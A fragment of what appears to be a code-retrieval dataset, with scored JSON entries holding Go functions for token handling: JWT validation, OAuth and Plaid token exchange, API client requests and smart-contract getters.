\"application/json\", \"text/json\", \"application/problem+json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &model\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 400 {\n\t\t\tvar v TokenResponseGet\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "7188934d778d2f40b4c38b582090692d", "score": "0.52607846", "text": "func getCustomToken(uid string) (*social.GenerateTokenResponse, error) {\n\tvar generateTokenURI = hostname + \"/generateCustomToken\"\n\tvar tokenRequest = social.GenerateTokenRequest{\n\t\tUID: uid,\n\t}\n\n\t// Create jsonBody\n\tjsonPlatform, jsonErr := json.Marshal(tokenRequest)\n\tif jsonErr != nil {\n\t\treturn nil, fmt.Errorf(jsonErr.Error())\n\t}\n\n\t// Create Request\n\tcustomTokenReq, customTokenReqErr := http.NewRequest(\"POST\", generateTokenURI, bytes.NewBuffer(jsonPlatform))\n\tif customTokenReqErr != nil {\n\t\treturn nil, fmt.Errorf(customTokenReqErr.Error())\n\t}\n\n\tcustomTokenReq.Header.Add(\"Content-Type\", \"application/json\")\n\tcustomTokenResp, httpErr := httpClient.Do(customTokenReq)\n\tif httpErr != nil {\n\t\treturn nil, fmt.Errorf(httpErr.Error())\n\t}\n\n\t// Decode the token to send back\n\tvar tokenResponse social.GenerateTokenResponse\n\tcustomTokenDecodeErr := json.NewDecoder(customTokenResp.Body).Decode(&tokenResponse)\n\tif customTokenDecodeErr != nil {\n\t\treturn nil, fmt.Errorf(customTokenDecodeErr.Error())\n\t}\n\n\treturn &tokenResponse, nil\n}", "title": "" }, { "docid": "97bfad89f9d992408cdf8439bd591450", "score": "0.5254628", "text": "func (o *TokenCredentialsAllOf) GetTokenOk() (*string, bool) {\n\tif o == nil || o.Token == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Token, true\n}", "title": "" }, { "docid": "e7621fdd872b9a45a22f07cfd5a37ed6", "score": "0.5251922", "text": "func (_OffchainAggregator *OffchainAggregatorSession) GetLinkToken() (common.Address, error) {\n\treturn _OffchainAggregator.Contract.GetLinkToken(&_OffchainAggregator.CallOpts)\n}", "title": "" }, { "docid": "94c217952649f86330d6da1d36aec7e6", "score": "0.5247676", "text": "func (_OffchainAggregator *OffchainAggregatorCaller) GetLinkToken(opts *bind.CallOpts) (common.Address, error) {\n\tvar out []interface{}\n\terr := _OffchainAggregator.contract.Call(opts, &out, \"getLinkToken\")\n\n\tif err != nil {\n\t\treturn *new(common.Address), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new(common.Address)).(*common.Address)\n\n\treturn out0, err\n\n}", "title": "" }, { "docid": "6d146405b50ffaff57de8a7b471e33c7", "score": "0.5241562", "text": "func (svc *OLHTTPService) mintBearerToken() (ClientCredential, error) {\n\tresp, err := svc.Create(OLHTTPRequest{\n\t\tURL: fmt.Sprintf(\"%s/auth/oauth2/v2/token\", svc.Config.BaseURL),\n\t\tHeaders: map[string]string{\"Content-Type\": \"application/json\"},\n\t\tPayload: AuthBody{GrantType: \"client_credentials\"},\n\t\tAuthMethod: \"basic\",\n\t})\n\tif err != nil {\n\t\treturn ClientCredential{}, err\n\t}\n\n\tvar output ClientCredential\n\tif err = json.Unmarshal(resp, &output); err != nil {\n\t\treturn ClientCredential{}, err\n\t}\n\treturn output, nil\n}", "title": "" }, { "docid": "590c5dff322d7dfcf9310ea92205e6ae", "score": "0.5239664", "text": "func (o *ImpersonationToken) GetTokenOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.Token, true\n}", "title": "" }, { "docid": "f15a1ab5158ba5373a833ea313e8336b", "score": "0.523725", "text": "func (s *Service) logonFromToken(c echo.Context) *cx.Payload {\n\tuser := c.Get(\"user\").(*jwt.Token)\n\tclaims := user.Claims.(jwt.MapClaims)\n\n\tsecret := claims[\"uuid\"].(string)\n\t//payload := security.DecryptString(secret)\n\tpayload := secret\n\n\tvar d cx.Payload\n\terr := utils.JSON.NewDecoder(strings.NewReader(payload)).Decode(&d)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t//set tenant id\n\terr = s.reacquireTenant(&d)\n\tif err != nil {\n\t}\n\n\treturn &d\n}", "title": "" }, { "docid": "40f2203a1004d25b970a084e72a2c498", "score": "0.5236195", "text": "func GetCodeToken(code string) (wxi WxInfo, err error) {\n\turl := wxTokenURL + \"?appid=\" + WxDgAppid + \"&secret=\" + WxDgAppkey + \"&code=\" + code + \"&grant_type=authorization_code\"\n\tlog.Printf(\"url:%s\\n\", url)\n\tres, err := HTTPRequest(url, \"\")\n\tif err != nil {\n\t\tlog.Printf(\"fetch url %s failed:%v\", url, err)\n\t\treturn\n\t}\n\n\tlog.Printf(\"GetCodeToken resp:%s\\n\", res)\n\tjs, err := simplejson.NewJson([]byte(res))\n\tif err != nil {\n\t\tlog.Printf(\"parse resp %s failed:%v\", res, err)\n\t\treturn\n\t}\n\n\topenid, err := js.Get(\"openid\").String()\n\tif err != nil {\n\t\tlog.Printf(\"get openid failed:%v\", err)\n\t\treturn\n\t}\n\n\ttoken, err := js.Get(\"access_token\").String()\n\tif err != nil {\n\t\tlog.Printf(\"get access_token failed:%v\", err)\n\t\treturn\n\t}\n\tlog.Printf(\"openid:%s token:%s\\n\", openid, token)\n\n\twxi.Openid = openid\n\twxi.Token = token\n\treturn\n}", "title": "" }, { "docid": "f3663774a3507a6801809444a598eec5", "score": "0.5234147", "text": "func (a *App) tokenValidate(protectedPage http.HandlerFunc) http.HandlerFunc {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tauthorizationHeader := req.Header.Get(\"authorization\")\n\t\tif authorizationHeader != \"\" {\n\n\t\t\tconfig := models.ReturnConfig()\n\n\t\t\tverifyKey, _ := jwt.ParseRSAPublicKeyFromPEM([]byte(config.TokenKey))\n\n\t\t\tt, err := jwt.Parse(authorizationHeader, func(token *jwt.Token) (interface{}, error) {\n\t\t\t\tif _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {\n\t\t\t\t\treturn nil, fmt.Errorf(\"There was an error\")\n\t\t\t\t}\n\t\t\t\treturn verifyKey, nil\n\t\t\t})\n\n\t\t\tfmt.Printf(\"%v - %v - %v\", t, err, t.Claims)\n\n\t\t\t/*\n\t\t\t\tvar token appToken\n\t\t\t\tmapstructure.Decode(t.Claims, &token)\n\t\t\t\tfmt.Printf(\"TOKEN - %v\", token)\n\t\t\t*/\n\n\t\t\tif err != nil {\n\t\t\t\ta.respondWithError(w, req, http.StatusBadRequest, err.Error())\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif t.Valid {\n\t\t\t\tcontext.Set(req, \"decoded\", t.Claims)\n\t\t\t\tprotectedPage(w, req)\n\t\t\t} else {\n\t\t\t\ta.respondWithError(w, req, http.StatusForbidden, \"Invalid authorization token\")\n\t\t\t}\n\t\t} else {\n\t\t\ta.respondWithError(w, req, http.StatusForbidden, \"An authorization header is required\")\n\t\t}\n\t})\n}", "title": "" }, { "docid": "355a20a3e052f68a8c29e9952005ff92", "score": "0.5228227", "text": "func (c *Client) GetToken() error {\n\tif c.Username == \"\" || c.Password == \"\" {\n\t\treturn fmt.Errorf(\"invalid username or password; neither can be blank\")\n\t}\n\n\tform := url.Values{}\n\tform.Add(\"username\", c.Username)\n\tform.Add(\"password\", c.Password)\n\n\tresp, err := c.post(tokenURI, form.Encode())\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar tok token\n\terr = json.Unmarshal(resp, &tok)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif tok.Token == \"\" { // TODO: add other checks here, maybe length of token.\n\t\treturn fmt.Errorf(\"invalid token returned: %v\", tok.Token)\n\t}\n\tc.Token = tok.Token\n\treturn nil\n}", "title": "" }, { "docid": "0400d03cadf0e8e74e9e1782017464fa", "score": "0.5222848", "text": "func (a AuthManagementService) APIToken(ctx context.Context, req *connect.Request[porterv1.APITokenRequest]) (*connect.Response[porterv1.APITokenResponse], error) {\n\tctx, span := telemetry.NewSpan(ctx, \"auth-endpoint-api-token\")\n\tdefer span.End()\n\n\tresp := connect.NewResponse(&porterv1.APITokenResponse{})\n\n\tif req == nil {\n\t\terr := telemetry.Error(ctx, span, nil, \"missing request\")\n\t\treturn resp, connect.NewError(connect.CodeInvalidArgument, err)\n\t}\n\tif req.Msg == nil {\n\t\terr := telemetry.Error(ctx, span, nil, \"missing request message\")\n\t\treturn resp, connect.NewError(connect.CodeInvalidArgument, err)\n\t}\n\tif req.Msg.ProjectId == 0 {\n\t\terr := telemetry.Error(ctx, span, nil, \"missing project id\")\n\t\treturn resp, connect.NewError(connect.CodeInvalidArgument, err)\n\t}\n\n\ttelemetry.WithAttributes(span, telemetry.AttributeKV{Key: \"project-id\", Value: req.Msg.ProjectId})\n\n\texistingTokens, err := a.Config.APITokenManager.ListAPITokensByProjectID(uint(req.Msg.ProjectId))\n\tif err != nil {\n\t\treturn resp, telemetry.Error(ctx, span, err, \"error listing api tokens\")\n\t}\n\n\tvar apiToken *models.APIToken\n\tfor _, tok := range existingTokens {\n\t\tif tok.Name == \"porter-agent-token\" {\n\t\t\ttelemetry.WithAttributes(span, telemetry.AttributeKV{Key: \"token-exists\", Value: true})\n\t\t\tapiToken = tok\n\t\t}\n\t}\n\n\tif apiToken == nil {\n\t\ttelemetry.WithAttributes(span, telemetry.AttributeKV{Key: \"token-exists\", Value: false})\n\n\t\ttokenID, err := uuid.NewUUID()\n\t\tif err != nil {\n\t\t\treturn resp, telemetry.Error(ctx, span, err, \"error generating tokenID\")\n\t\t}\n\n\t\texpiresAt := time.Now().Add(time.Hour * 24 * 365)\n\n\t\tapiToken = &models.APIToken{\n\t\t\tUniqueID: tokenID.String(),\n\t\t\tProjectID: uint(req.Msg.ProjectId),\n\t\t\tExpiry: &expiresAt,\n\t\t\tRevoked: false,\n\t\t\tPolicyUID: \"developer\",\n\t\t\tPolicyName: \"developer\",\n\t\t\tName: \"porter-agent-token\",\n\t\t}\n\n\t\tapiToken, err = a.Config.APITokenManager.CreateAPIToken(apiToken)\n\t\tif err != nil {\n\t\t\treturn resp, telemetry.Error(ctx, span, err, \"error creating api token\")\n\t\t}\n\t}\n\n\ttelemetry.WithAttributes(span,\n\t\ttelemetry.AttributeKV{Key: \"token-id\", Value: apiToken.UniqueID},\n\t\ttelemetry.AttributeKV{Key: \"expiry\", Value: apiToken.Expiry.UTC().String()},\n\t)\n\n\tnow := time.Now().UTC()\n\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n\t\t\"sub_kind\": \"porter-agent\",\n\t\t\"sub\": string(token.API),\n\t\t\"iat\": fmt.Sprintf(\"%d\", now.Unix()),\n\t\t\"project_id\": apiToken.ProjectID,\n\t\t\"token_id\": apiToken.UniqueID,\n\t})\n\n\tencodedToken, err := token.SignedString([]byte(a.Config.TokenGeneratorSecret))\n\tif err != nil {\n\t\treturn resp, telemetry.Error(ctx, span, err, \"error signing token\")\n\t}\n\n\tresp.Msg.Token = encodedToken\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "7c3656eb5fd6df123450bd8aa2c9e96c", "score": "0.52198714", "text": "func (_OffchainAggregator *OffchainAggregatorCallerSession) GetLinkToken() (common.Address, error) {\n\treturn _OffchainAggregator.Contract.GetLinkToken(&_OffchainAggregator.CallOpts)\n}", "title": "" }, { "docid": "8efa972d2e4c996320d338447de55e41", "score": "0.52179027", "text": "func bridgeToken(w http.ResponseWriter, r *http.Request) {\n\tbridgeData, err := getBridgeToken()\n\tif err != nil {\n\t\tfmt.Println(\"Error in bridgeToken\\n\", err)\n\t\tfmt.Fprintf(w, `{ \"success\": false }`)\n\t} else {\n\t\tfmt.Fprintf(w, bridgeData)\n\t}\n}", "title": "" }, { "docid": "9c4b182a7da9fabb113dae9ecad6fa89", "score": "0.52095973", "text": "func (p *GinRouterProvider) Token(c *gin.Context) {\n\tauthHeader := c.Request.Header.Get(\"Authorization\")\n\n\tif strings.HasPrefix(authHeader, \"Basic \") {\n\t\tp.BasicAuth(func(c *gin.Context) {\n\t\t\tauth, ok := httpUtil.AuthFromGinContext(c)\n\t\t\tif !ok {\n\t\t\t\thttpUtil.Unauthorized(c)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tc.JSON(http.StatusOK, accessTokenView{\n\t\t\t\tAccessToken: auth.Token,\n\t\t\t})\n\t\t})(c)\n\t\treturn\n\n\t} else if strings.HasPrefix(authHeader, \"Bearer \") {\n\t\tmatched := bearerAuthPattern.FindStringSubmatch(authHeader)\n\t\tif len(matched) != 2 {\n\t\t\thttpUtil.Unauthorized(c)\n\t\t\treturn\n\t\t}\n\n\t\ttoken, err := p.appService.RefreshAccessToken(c, matched[1])\n\t\tif err != nil {\n\t\t\thttpUtil.LogWarn(c, \"error on refreshing access token\", err)\n\t\t\thttpUtil.Unauthorized(c)\n\t\t\treturn\n\t\t}\n\t\tc.JSON(http.StatusOK, accessTokenView{\n\t\t\tAccessToken: token.Hashed(),\n\t\t})\n\t\treturn\n\t}\n\n\thttpUtil.Unauthorized(c)\n}", "title": "" }, { "docid": "0e3ca3f28dd3341bc91f857b5a9573c2", "score": "0.5208428", "text": "func (s *Service) HydraOAuthToken(w http.ResponseWriter, r *http.Request) {\n\tr.ParseForm()\n\n\t// introspect the refresh token before proxy the request to exchange.\n\tif isRefreshTokenExchange(r) {\n\t\tdeleted, err := s.tokenDeleted(r.PostFormValue(\"refresh_token\"))\n\t\tif err != nil {\n\t\t\thttputils.WriteError(w, err)\n\t\t\treturn\n\t\t}\n\t\tif deleted {\n\t\t\thttputils.WriteError(w, status.Errorf(codes.Unauthenticated, \"token revoked\"))\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Encode the form back into request body\n\tr.Body = ioutil.NopCloser(bytes.NewBufferString(r.PostForm.Encode()))\n\n\ts.hydraPublicURLProxy.ServeHTTP(w, r)\n}", "title": "" }, { "docid": "6a7ab2c1e46c9861d01b68eb13d187da", "score": "0.5203663", "text": "func (h *HubicAuth) Token() string {\n\treturn h.credentials.Token\n}", "title": "" }, { "docid": "38de7728a60da272aeeaa2fd2c6501fa", "score": "0.5191523", "text": "func (aaa *OAuth20ExtensionService) RequestTokenByOneTimeLinkCodeResponseV3(input *o_auth2_0_extension.RequestTokenByOneTimeLinkCodeResponseV3Params) (*iamclientmodels.OauthmodelTokenResponseV3, error) {\n\tok, err := aaa.Client.OAuth20Extension.RequestTokenByOneTimeLinkCodeResponseV3(input)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ok.GetPayload(), nil\n}", "title": "" }, { "docid": "7a5470cc4d4eb205241aeadbbc54d2f8", "score": "0.51897085", "text": "func (c *Client) GetToken(a *rbac.AuthUser) (string, error) {\n\trequest := rbac.Account{\n\t\tName: a.Username,\n\t\tPassword: a.Password,\n\t}\n\tbody, err := json.Marshal(request)\n\tif err != nil {\n\t\treturn \"\", NewJSONException(err, \"parse the username or password failed\")\n\t}\n\n\ttokenUrl := c.formatURL(TokenPath, nil, nil)\n\tresp, err := c.httpDo(http.MethodPost, tokenUrl, nil, body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif resp == nil {\n\t\treturn \"\", fmt.Errorf(\"user %s generate token failed: \", a.Username)\n\t}\n\tbody, err = ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", NewIOException(err)\n\t}\n\n\tif resp.StatusCode == http.StatusOK {\n\t\tvar response rbac.Token\n\t\terr = json.Unmarshal(body, &response)\n\t\tif err != nil {\n\t\t\treturn \"\", NewJSONException(err, string(body))\n\t\t}\n\t\treturn response.TokenStr, nil\n\t}\n\treturn \"\", fmt.Errorf(\"user %s generate token failed, response status code: %d\", a.Username, resp.StatusCode)\n}", "title": "" }, { "docid": "8197caa9caef43a800554881a9c53a0b", "score": "0.5182926", "text": "func Token(ctx context.Context, cfg Config) (string, error) {\n\tvar token struct{ Token string }\n\terr := HttpGet(ctx, tokenPath, cfg, NewDecoderFunc(&token))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"token request failed: %w\", err)\n\t}\n\n\treturn token.Token, err\n}", "title": "" }, { "docid": "2cdbecf04138be7e324f826c61cfa51b", "score": "0.51779175", "text": "func postAuthCheckJWTToken(_ context.Context, _ *snowflakeRestful, _ *http.Client, _ *url.Values, _ map[string]string, bodyCreator bodyCreatorType, _ time.Duration) (*authResponse, error) {\n\tvar ar authRequest\n\tjsonBody, _ := bodyCreator()\n\tif err := json.Unmarshal(jsonBody, &ar); err != nil {\n\t\treturn nil, err\n\t}\n\tif ar.Data.Authenticator != AuthTypeJwt.String() {\n\t\treturn nil, errors.New(\"Authenticator is not JWT\")\n\t}\n\n\ttokenString := ar.Data.Token\n\n\t// Validate token\n\t_, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {\n\t\t// Don't forget to validate the alg is what you expect:\n\t\tif _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {\n\t\t\treturn nil, fmt.Errorf(\"Unexpected signing method: %v\", token.Header[\"alg\"])\n\t\t}\n\n\t\treturn testPrivKey.Public(), nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &authResponse{\n\t\tSuccess: true,\n\t\tData: authResponseMain{\n\t\t\tToken: \"t\",\n\t\t\tMasterToken: \"m\",\n\t\t\tSessionInfo: authResponseSessionInfo{\n\t\t\t\tDatabaseName: \"dbn\",\n\t\t\t},\n\t\t},\n\t}, nil\n}", "title": "" }, { "docid": "f98609ab0cdb601480ec0d13f557592c", "score": "0.5176214", "text": "func (oid *OpenID) HandleOpenIDToken(w http.ResponseWriter, r *http.Request) {\n\t// someone wants a token, we should probably receive some credentials or sth here before\n\t// we willy nilly give out a token, but let's disregard that for now\n\tclientID := \"000000\"\n\tuserID := \"9\"\n\n\ttokenLogger := log.WithFields(log.Fields{\n\t\t\"client_id\": clientID,\n\t\t\"user_id\": userID,\n\t})\n\n\ttokenLogger.Trace(\"starting token request\")\n\n\tsub := OIDSubject{\n\t\tClientID: clientID,\n\t\tUserID: userID,\n\t}\n\n\ttok := OIDToken{\n\t\tIssuer: oid.host,\n\t\tSubject: sub.UserID,\n\t\tExpiry: time.Now().Add(time.Hour * 6).Unix(),\n\t\tIssuedAt: time.Now().Unix(),\n\t}\n\n\ttokenLogger.WithField(\"token\", tok).Trace(\"Generated token\")\n\n\tpayload, err := json.Marshal(tok)\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Failed to marshall token\")\n\t\tw.WriteHeader(500)\n\t\treturn\n\t}\n\n\ttokenLogger.Trace(\"Marshalled token\")\n\n\t// sign into jwt\n\n\t// this creates new key every time pls no\n\t// sync once this instead lul\n\tif oid.signkeyPublic == nil {\n\t\ttokenLogger.Trace(\"Creating signing keys\")\n\t\t//new_key, err := ecdsa.GenerateKey(elliptic.P521(), rand.Reader)\n\t\tnew_key, err := rsa.GenerateKey(rand.Reader, 2048)\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Error(\"Failed to create new signing key\")\n\t\t\tw.WriteHeader(500)\n\t\t\treturn\n\t\t}\n\t\t//oid.signkeyPublic = new_key.Public()\n\t\t//oid.signkeyPrivate = new_key\n\t\toid.JWK = &jose.JSONWebKey{\n\t\t\tKey: new_key,\n\t\t\tKeyID: \"1\",\n\t\t\t//Algorithm: \"ES512\",\n\t\t\tAlgorithm: \"RS256\",\n\t\t\tUse: \"sig\",\n\t\t}\n\t\ttokenLogger.Trace(\"Created signing keys\")\n\t}\n\n\ttokenLogger.Trace(\"Starting signing process\")\n\t//key := jose.SigningKey{Key: oid.signkeyPrivate, Algorithm: \"ES512\"}\n\tkey := jose.SigningKey{Key: oid.JWK, Algorithm: \"RS256\"}\n\tsigner, err := jose.NewSigner(key, &jose.SignerOptions{})\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Failed to initialize signer\")\n\t\tw.WriteHeader(500)\n\t\treturn\n\t}\n\ttokenLogger.Trace(\"Signing token\")\n\tsig, err := signer.Sign(payload)\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Failed to sign payload\")\n\t\tw.WriteHeader(500)\n\t\treturn\n\t}\n\tjwt, err := sig.CompactSerialize()\n\tif err != nil {\n\t\tlog.WithError(err).Error(\"Failed to compact sig\")\n\t\tw.WriteHeader(500)\n\t\treturn\n\t}\n\ttokenLogger.Trace(\"Returning signed token\")\n\t//w.Header().Set(\"content-type\", \"application/json\")\n\tw.Write([]byte(jwt))\n}", "title": "" }, { "docid": "6fdab583070f28d9262282864585a6e5", "score": "0.51707745", "text": "func (r *EnrollmentResponse) Token() *Token {\n\treturn r.token\n}", "title": "" }, { "docid": "583d280d946acffd45bd582700344fda", "score": "0.5169418", "text": "func validateToken(header http.Header) (bool, int, *jwt.Token) {\n\tauthHeader := header.Get(\"Authorization\")\n\tif authHeader == \"\" {\n\t\treturn false, http.StatusUnauthorized, &jwt.Token{}\n\t}\n\tsplitted := strings.Split(authHeader, \" \") //The token normally comes in format `Bearer {token-body}`, we check if the retrieved token matched this requirement\n\tif len(splitted) != 2 {\n\t\treturn false, http.StatusUnauthorized, &jwt.Token{}\n\t}\n\n\ttokenString := splitted[1]\n\n\ttoken, err := jwt.ParseWithClaims(tokenString, &AityClaims{}, func(token *jwt.Token) (interface{}, error) {\n\t\treturn secret, nil\n\t})\n\n\tif ve, ok := err.(*jwt.ValidationError); ok {\n\t\tif ve.Errors&jwt.ValidationErrorMalformed != 0 {\n\t\t\treturn false, http.StatusUnauthorized, &jwt.Token{}\n\t\t} else if ve.Errors&(jwt.ValidationErrorExpired|jwt.ValidationErrorNotValidYet) != 0 {\n\t\t\treturn false, http.StatusUnauthorized, &jwt.Token{}\n\t\t}\n\t} else if token.Valid {\n\t\treturn true, http.StatusOK, token\n\t}\n\treturn false, http.StatusForbidden, &jwt.Token{}\n}", "title": "" }, { "docid": "b68af37ca6068bbf3bb85312bccc1f9b", "score": "0.51641715", "text": "func TokenParser(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tlocalContext := context.Get(r)\n\n\t\ttoken := r.URL.Query().Get(\"token\")\n\t\tdecryptedToken, err := crypto.Decrypt(token)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\terr = json.Unmarshal([]byte(decryptedToken), &localContext.AuthTokens)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif localContext.AuthTokens.AccessToken == \"\" {\n\t\t\tpanic(errors.New(\"Missing access token\"))\n\t\t}\n\t\tif localContext.AuthTokens.RefreshToken == \"\" {\n\t\t\tpanic(errors.New(\"Missing refresh token\"))\n\t\t}\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "b6787380f138c810328d4854b7fc0740", "score": "0.51628643", "text": "func (_APIConsumer *APIConsumerSession) GetChainlinkToken() (common.Address, error) {\n\treturn _APIConsumer.Contract.GetChainlinkToken(&_APIConsumer.CallOpts)\n}", "title": "" }, { "docid": "95cc542337afe921ecea534c7f2d6f50", "score": "0.51504445", "text": "func (w *ServerInterfaceWrapper) Token(ctx echo.Context) error {\n\tvar err error\n\n\t// Parameter object where we will unmarshal all parameters from the context\n\tvar params TokenParams\n\n\theaders := ctx.Request().Header\n\t// ------------- Required header parameter \"Authorization: Basic\" -------------\n\tif valueList, found := headers[http.CanonicalHeaderKey(\"Authorization: Basic\")]; found {\n\t\tvar AuthorizationBasic []byte\n\t\tn := len(valueList)\n\t\tif n != 1 {\n\t\t\treturn echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf(\"Expected one value for Authorization: Basic, got %d\", n))\n\t\t}\n\n\t\terr = runtime.BindStyledParameter(\"simple\", false, \"Authorization: Basic\", valueList[0], &AuthorizationBasic)\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf(\"Invalid format for parameter Authorization: Basic: %s\", err))\n\t\t}\n\n\t\tparams.AuthorizationBasic = AuthorizationBasic\n\t} else {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf(\"Header parameter Authorization: Basic is required, but not found\"))\n\t}\n\n\t// Invoke the callback with all the unmarshalled arguments\n\terr = w.Handler.Token(ctx, params)\n\treturn err\n}", "title": "" }, { "docid": "63b59dde29deb96057b4f75fc200c7cf", "score": "0.51477647", "text": "func GetToken(c *gin.Context) string {\n\tif CheckAuthorized(c) {\n\t\treturn strings.Split(c.GetHeader(\"Authorization\"), \" \")[1]\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "1ac0b3e93773ee51c567539427eac4d6", "score": "0.51450664", "text": "func DecodeToken(token string) (blob.ConnectionInfo, string, error) {\n\tt := &tokenInfo{}\n\n\tv, err := base64.RawURLEncoding.DecodeString(token)\n\tif err != nil {\n\t\treturn blob.ConnectionInfo{}, \"\", errors.New(\"unable to decode token\")\n\t}\n\n\tif err := json.Unmarshal(v, t); err != nil {\n\t\treturn blob.ConnectionInfo{}, \"\", errors.New(\"unable to decode token\")\n\t}\n\n\tif t.Version != \"1\" {\n\t\treturn blob.ConnectionInfo{}, \"\", errors.New(\"unsupported token version\")\n\t}\n\n\treturn t.Storage, t.Password, nil\n}", "title": "" }, { "docid": "9973e23d4e5722163b12d1189f04f90f", "score": "0.5141556", "text": "func (a *Auth) GetToken() string {\n\tif a.state == nil {\n\t\treturn \"\"\n\t}\n\treturn a.state.Token\n}", "title": "" }, { "docid": "fc09706adb560cecee04128bf2f1a9a7", "score": "0.51406246", "text": "func (r *directRepository) Token(password string) (string, error) {\n\treturn EncodeToken(password, r.blobs.ConnectionInfo())\n}", "title": "" }, { "docid": "ad2cfca80d3cab1e28db8bcb6f8f46f3", "score": "0.513353", "text": "func ExchangePublicToken(app *application.App) httprouter.Handle {\n\treturn func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\tvar token models.Token\n\t\tjson.NewDecoder(r.Body).Decode(&token)\n\n\t\t// Creates the permanent token using the public token it gets from the frontend's\n\t\t// request body\n\t\tres, err := app.Plaid.Client.ExchangePublicToken(token.Value)\n\t\tif err != nil {\n\t\t\tmsg := \"Failure to excahnge link token\"\n\t\t\tmodels.CreateError(w, http.StatusBadGateway, msg, err)\n\t\t\treturn\n\t\t}\n\n\t\t// sets value of token to response values\n\t\ttoken.Value = res.AccessToken\n\t\ttoken.Id = res.ItemID\n\n\t\t// gets the user id extracted from authentication cookie for later\n\t\t// use in the creation of the row containing the permanent token\n\t\tuserId := fmt.Sprintf(\"%v\", r.Context().Value(models.Key(\"user\")))\n\n\t\t// handles failures in the addition of tokens to the database and reflects\n\t\t// any success or failure in json response/server logs\n\t\tif err = token.Add(app, userId); err != nil {\n\t\t\tmsg := \"Failure to create access token\"\n\t\t\tmodels.CreateError(w, http.StatusBadGateway, msg, err)\n\t\t\treturn\n\t\t}\n\n\t\tmsg := \"Access token created successfully\"\n\t\tmodels.CreateResponse(w, msg, nil)\n\t}\n}", "title": "" }, { "docid": "46bedd0e469592db72bc2ac91bb8927b", "score": "0.5131658", "text": "func (auth *v2Auth) Token() string {\n\treturn auth.Auth.Access.Token.Id\n}", "title": "" }, { "docid": "420479e0988c5fb66ff55c5268589c77", "score": "0.5129981", "text": "func (_Staking *StakingSession) GetChainlinkToken() (common.Address, error) {\n\treturn _Staking.Contract.GetChainlinkToken(&_Staking.CallOpts)\n}", "title": "" }, { "docid": "f01075a3026f5f666da2573711ba07e3", "score": "0.5129608", "text": "func (a Auth) AuthToken(code string) (AuthToken, error) {\n\tauthTkn := AuthToken{Auth: a}\n\tbearer, err := a.GetToken(code)\n\tif err != nil {\n\t\treturn authTkn, err\n\t}\n\n\tauthTkn.Token = NewRefreshableToken(&bearer)\n\treturn authTkn, nil\n}", "title": "" }, { "docid": "a46012526d6650a778fa9e8df27358db", "score": 